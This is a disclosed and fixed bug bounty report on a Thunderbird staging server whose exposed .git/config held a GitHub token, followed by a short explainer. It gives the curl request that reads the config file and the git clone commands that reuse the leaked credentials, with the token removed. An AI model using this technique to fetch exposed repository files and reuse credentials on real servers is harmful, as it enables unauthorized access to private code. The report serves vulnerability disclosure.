Developer Github Credential Leak
The Git configuration file at a staging server was publicly accessible and contained a username and password token for a GitHub account. An attacker could use these credentials to clone a private Mozilla repository.
Originally disclosed on Mozilla
- Fixed in 24 hours
- Paid in 4 days
- Disclosed after 24 hours
Created attachment 8967520
Credential Leak, Clone Repo
Sending a curl request to https://broker-stage.thunderbird.net/.git/config includes a username and password token stored in the Git configuration file. Specifically, the user Sancus (https://github.com/Sancus):
$ curl https://broker-stage.thunderbird.net/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://Sancus:[address removed]/mozilla/broker.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
[branch "prod"]
remote = origin
merge = refs/heads/prod
[submodule "lib/pygeoip"]
url = git://github.com/appliedsec/pygeoip.git
This account is valid and can pull down the private Mozilla broker repo (mozilla/broker):
$ git clone https://Sancus:[address removed]/mozilla/broker.git
...
Similarly making an attempt for this repo without creds:
$ git clone https://github.com/mozilla/broker.git
Cloning into 'b1'...
Username for 'https://github.com':
...
Also modifying the password token will yield an auth failure:
$ git clone https://Sancus:[address removed]/mozilla/broker.git
Cloning into 'broker'...
remote: Invalid username or password.
fatal: Authentication failed for 'https://Sancus:[address removed]/mozilla/broker.git/'
The attached screenshot shows the curl request and cloning the repo.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the web server exposed the .git directory, and the Git configuration file contained plaintext credentials for a GitHub account.
Impact
An attacker could access and clone a private Mozilla repository, potentially exposing sensitive source code.
What the attacker needed
None
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website's .git folder can sometimes be downloaded by anyone. Here, a file inside it held a username and password for a GitHub account. With those, someone could download private code that was meant to be secret.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.